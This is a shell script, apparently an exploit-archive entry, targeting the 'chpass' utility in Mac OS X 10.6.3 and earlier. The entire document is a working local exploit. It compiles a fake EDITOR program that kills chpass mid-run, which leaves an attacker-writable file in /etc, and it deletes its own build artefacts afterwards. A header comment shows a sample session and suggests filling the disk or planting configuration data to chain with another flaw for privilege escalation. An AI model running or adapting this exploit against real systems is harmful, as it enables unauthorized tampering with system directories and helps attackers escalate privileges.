#!/bin/sh
# Apple <= 10.6.3 'chpass' BSD insecure temp file creation in /etc vuln
# =====================================================================
# A user can create a file with rw perms in /etc as owner and populate 
# it with arbitrary data. This could be utilized to fill the disk or
# write configuration file information that could be combined with 
# another flaw to elevate local privileges. This shell script takes
# an arguement which is the filename to create (appended with .XXXXXX)
# or I.HAX by default.
# 
# e.g
#
#  fantastics-macbook:~ fantastic$ id
#  uid=501(fantastic) gid=20(staff) groups=20(staff)
#  fantastics-macbook:~ fantastic$ ls -l /etc
#  lrwxr-xr-x@ 1 root  wheel  11 10 Feb 18:42 /etc -> private/etc
#  fantastics-macbook:~ fantastic$ ./prdelka-vs-APPLE-chpass.sh 
#  [ Apple <= 10.6.3 'chpass' arbitrary /etc file creation exploit
#  Password for fantastic: fuck.apple 
#  [ Created evil file /etc/I.HAX.9GrrKm
#  [ Killing my parent PID 1472
#  ./prdelka-vs-APPLE-chpass.sh: line 47:  1472 Killed ./exploit I.HAX
#  fantastics-macbook:~ fantastic$ ls -al /etc/I.HAX.9GrrKm 
#  -rw-------  1 fantastic  staff  203 17 May 21:15 /etc/I.HAX.9GrrKm
#  fantastics-macbook:~ fantastic$ echo "Turtle power" > /etc/I.HAX.9GrrKm 
#  fantastics-macbook:~ fantastic$ cat /etc/I.HAX.9GrrKm 
#  Turtle power 
#
# -- prdelka
cat >> evil.c << EOF
#include <sys/types.h>
#include <unistd.h>
#include <signal.h>

int main(int argc,char* argv[]){
  printf("[ Created evil file %s\n",argv[1]);
  pid_t parent = getppid();
  printf("[ Killing my parent PID %d\n",parent);
  usleep(1000);
  kill(parent,9);
  exit(0);
}
EOF
gcc evil.c -o evil 2>/dev/null
rm -rf evil.c
cat >> exploit.c << EOF
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc,char* argv[]){
        char* envp[]={"EDITOR=./evil",NULL};
        char* args[]={argv[1],NULL};
  printf("[ Apple <= 10.6.3 'chpass' arbitrary /etc file creation exploit\n");
        execve("/usr/bin/chpass",args,envp);
}
EOF
gcc exploit.c -o exploit 2>/dev/null
rm -rf exploit.c
if [ $1 ]
then
        ./exploit $1
else
        ./exploit I.HAX
fi
rm -rf evil exploit